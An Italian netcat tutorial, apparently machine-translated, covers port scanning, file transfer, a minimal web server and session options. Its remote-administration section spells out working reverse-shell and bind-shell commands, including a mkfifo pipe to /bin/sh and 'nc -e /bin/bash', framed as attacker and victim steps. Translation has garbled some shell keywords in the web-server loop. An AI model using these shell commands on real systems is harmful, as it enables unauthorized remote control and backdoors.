NetCat

Netcat - Coltellino svizzero Pro Utilizzo

Netcat - Coltellino svizzero Pro Utilizzo
Netcat è un'utilità che viene utilizzata per leggere e scrivere dati attraverso le porte TCP e UDP. Può essere utilizzato per molte cose interessanti come il trasferimento di file, la scansione delle porte, il reindirizzamento delle porte, il backdoor del PC di qualcun altro, la creazione di un semplice programma di chat, la risoluzione dei problemi di rete e altro ancora, ecco perché è noto come coltellino svizzero. Inoltre viene preinstallato con quasi tutte le distribuzioni Linux al giorno d'oggi ed è utilizzato principalmente da amministratori di rete, DevOps e tecnici della sicurezza per le loro piccole attività quotidiane.

Una breve differenza tra netcat-traditional e netcat-openbsd

Ci sono due pacchetti simili disponibili per netcat con una leggera differenza tra loro.

netcat-tradizionale include un'opzione '-e' aggiuntiva che può essere usata per associare un programma (i.e bash) con netcat. Questa funzione è molto utile per scopi di amministrazione remota.

netcat-openbsd avere un supporto aggiuntivo per IPv6 e proxy.

Installazione Netcatcat

Sebbene netcat sia preinstallato nella maggior parte delle distribuzioni Linux, ma in caso contrario, può essere installato facilmente utilizzando i seguenti comandi.

Per il pacchetto tradizionale,

[email protected]:~$ sudo apt-get install netcat-traditional

Per la versione openbsd,

[email protected]:~$ sudo apt-get install netcat-openbsd

Netcat per Windows può essere scaricato da qui https://sourceforge.net/progetti/nc110/files/.

Ora esploreremo alcuni casi d'uso interessanti di netcat

Scansione delle porte con netcat

Per cercare porte aperte, usa l'opzione '-z'. Netcat proverà a connettersi a ogni porta senza inviare dati o dati molto limitati nel caso UDP. Digita quanto segue

[email protected]:~$ nc -z -v hackme.org 80
…tagliare…
hackme.org [217.78.1.155] 80 (http) aperto

Per cercare un intervallo di porte, digitare

[e-mail protetta]:~$ nc -z -nv 192.168.100.72 20-80
(SCONOSCIUTO) [192.168.100.72] 80 (http) aperto
(SCONOSCIUTO) [192.168.100.72] 22 (ssh) aperto

Trasferimento file con netcat

Un altro utile caso d'uso di netcat è il trasferimento di file tra computer remoti. Puoi inviare testi e file binari da un PC a un altro PC. Cercheremo di inviare un file “file.pdf” da PC Linux a PC Windows [IP 192.168.100.72] usando netcat come esempio.

Sulla macchina Windows (ricevitore), digitare quanto segue

C:\Utenti> nc -nvlp 1337 > file.PDF
Ascolto su [0.0.0.0] (famiglia 2, porta 1337)

Sulla macchina Linux (mittente), digitare quanto segue

[e-mail protetta]:~$ nc -nv 192.168.100.72 1337 < file.pdf
Collegamento a 192.168.100.72 1337 porta [tcp/*] riuscita!

Amministrazione remota con netcat

Uno dei migliori casi d'uso di netcat è l'amministrazione remota, il che significa che puoi controllare il PC di qualcun altro usando netcat. Netcat-traditional viene fornito con l'opzione '-e' che può essere utilizzata per associare un programma (i.e cmd.exe in Windows o bash in Linux) con una porta, ciò significa che netcat fungerà da comunicatore tra il programma e il PC remoto. Netcat riceverà i comandi dal PC remoto, eseguirà sul sistema locale e invierà i risultati al PC remoto. Questa funzione è ampiamente utilizzata per scopi dannosi, per mantenere backdoor in PC e server. Questa funzione è disponibile solo in netcat-traditional ma con un piccolo trucco, netcat-openbsd può essere utilizzato per lo stesso scopo. Puoi usare due modi per controllare il PC di altri.

In un Guscio inverso connessione,  un utente malintenzionato ascolta su una porta e attende l'invio di una connessione dalla macchina vittima. Viene utilizzato quando il computer vittima è dietro NAT o non ha IP pubblico.

Per ottenere una shell inversa usando netcat, devi ascoltare su una porta usando netcat. Digita quanto segue sulla macchina dell'attaccante,

[e-mail protetta]:~$ nc -nvlp 1337
Ascolto su [0.0.0.0] (famiglia 2, porta 1337)

Sulla macchina vittima (se netcat-tradizionale è installato)

//sostituisci “/bin/bash” con “cmd.exe” in caso di Windows

[email protected]:~$ nc -nv [IP_ADDR] 1337 -e /bin/bash

Per netcat-openbsd (dove l'opzione "-e" non è supportata)

[email protected]:~$ rm /tmp/f;mkfifo /tmp/f;cat
/tmp/f|/bin/sh -i 2>&1|nc [IP_ADDR] 1337 >/tmp/f

mentre in a Lega Shell connessione, l'attaccante associa una porta sulla macchina vittima e si connette a quella porta utilizzando il socket client. Viene utilizzato quando la macchina dell'aggressore è dietro NAT o non ha un IP pubblico.

Sulla macchina vittima, digitare

[email protected]:~$ nc -nlvp 1337 -e /bin/bash
ascoltando su [qualsiasi] 1337…

Ora, per eseguire i comandi sulla macchina vittima, digita

[e-mail protetta]:~$ nc -nv 127.0.0.1 1337
Collegamento a 127.0.0.1 1337 porta [tcp/*] riuscita!
ID $
uid=1000(azad) gid=1000(azad) gruppi=1000(azad),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),118(lpadmin),129(sambashare)

Server Web semplice che utilizza netcat

Puoi anche fare un altro semplice trucco per usare netcat come server web minimo a pagina singola. Questo server web sarebbe molto semplice senza configurazioni speciali e useremo per inviare il nostro codice HTML al browser.

[email protected]:~$ while true ; fai  echo -e "HTTP/1.1 200 OK\n\n $(eco "


Il mio server Web semplice che utilizza netcat

")" | nc -nvlp 1337  ; fatto
Ascolto su [0.0.0.0] (famiglia 2, porta 1337)

Ora prova a recuperare la pagina web usando curl

[email protected]:~$ curl http://127.0.0.1:1337/

Il mio server Web semplice che utilizza netcat

Specificare il timeout per una sessione netcat

Puoi specificare il timeout per una sessione netcat usando l'opzione "-w". Netcat disconnetterà automaticamente la sua sessione allo scadere del tempo specificato.

// -w [Tempo in secondi]
[email protetta]:~$ nc -w 40 -nvlp 1337
Ascolto su [0.0.0.0] (famiglia 2, porta 1234)

Continua ad ascoltare anche se il cliente chiude la connessione

In modalità normale, il server netcat si spegne e interrompe l'ascolto sulla porta quando un client chiude la connessione. Puoi mantenere attivo il server usando l'opzione "-k"

[e-mail protetta]:~$ nc -k -nlvp 1234
Ascolto su [0.0.0.0] (famiglia 2, porta 1234)

Conclusione

Netcat è un'utilità semplice ma efficiente che può essere utilizzata per molte semplici attività quotidiane. Viene preinstallato in quasi tutti i sistemi operativi UNIX come e può essere utilizzato per varie attività come la comunicazione tra due PC, il trasferimento di file e molti altri.

Come acquisire e riprodurre in streaming la tua sessione di gioco su Linux
In passato, giocare era considerato solo un hobby, ma con il tempo l'industria dei giochi ha visto una crescita enorme in termini di tecnologia e nume...
I migliori giochi da giocare con il tracciamento delle mani
Oculus Quest ha recentemente introdotto la grande idea del tracciamento manuale senza controller. Con un numero sempre crescente di giochi e attività ...
Come mostrare l'overlay OSD in app e giochi Linux a schermo intero
Giocare a giochi a schermo intero o utilizzare app in modalità a schermo intero senza distrazioni può tagliarti fuori dalle informazioni di sistema ri...